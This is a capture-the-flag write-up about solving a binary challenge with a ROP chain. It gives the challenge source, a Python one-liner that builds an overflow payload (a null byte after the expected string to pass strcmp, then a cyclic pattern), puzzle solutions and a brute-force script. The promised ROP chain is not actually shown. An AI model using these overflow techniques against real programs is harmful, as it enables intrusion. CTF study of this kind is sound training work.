The same challenge, but this time we need ot build a ROP chain.
void quiz() {
FILE *fp = fopen("flag.txt", "r");
char flag[100];
if (fp == NULL) {
puts("Sorry, all my stuff's a mess.");
puts("I'll get around to grading your quiz sometime.");
puts("[If you are seeing this on the remote server, please contact admin].");
exit(1);
}
fgets(flag, sizeof(flag), fp);
if (knows_logic && knows_algebra && knows_functions) {
puts("Alright, you passed this quiz.");
puts("Here's your prize:");
puts(flag);
} else {
puts("Not there yet...");
puts("Study some more!");
}
}
We can't just jump to quiz() directly, since we need to make knows_logic, knows_algebra, and knows_functions True. Each of these variables are only set within their corresponding functions: logic(), algebra() and functions().
If we build a ROP chain as follows, we can control the return addresses of subsequent returns.
Again, we will have to bypass the strcmp() check:
if (strcmp(response, "i will get an A")) {
puts("I'm sorry, but you obviously don't care about grades.");
puts("Therefore, you aren't motivated enough to be in our class.");
puts("Goodbye.");
exit(1);
}
Prepare our cyclic pattern payload:
python -c "print 'i will get an A' + '\x00' + 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'" > ipt.txt
So, from (q != s) && s, we know s must be 1, q must be 0.
Then, from (p || q || !r) && (!p || r || !s), we have (p || 0 || !r) && (!p || r || 0), which is (p || !r) && (!p || r). Either p = r = 0 or p = r = 1 works.
void functions() {
int a, b, c;
printf("a: ");
scanf("%d", &a);
printf("b: ");
scanf("%d", &b);
printf("c: ");
scanf("%d", &c);
int vertex_x = -b / (2*a);
int vertex_y = a * vertex_x * vertex_x + b * vertex_x + c;
int discriminant = b * b - 4 * a * c;
knows_functions = (vertex_x == 2) && (vertex_y == -2) && (discriminant == 16);
}
The values seemed pretty small, so a bruteforce script easily gets the values.
for a in range(-10, 10):
if a == 0:
continue
for b in range(-10, 10):
for c in range(-10, 10):
vertex_x = -b / (2*a)
vertex_y = a * vertex_x * vertex_x + b * vertex_x + c
discriminant = b * b - 4 * a * c
if (vertex_x == 2) and (vertex_y == -2) and (discriminant == 16):
print(a, b, c)
break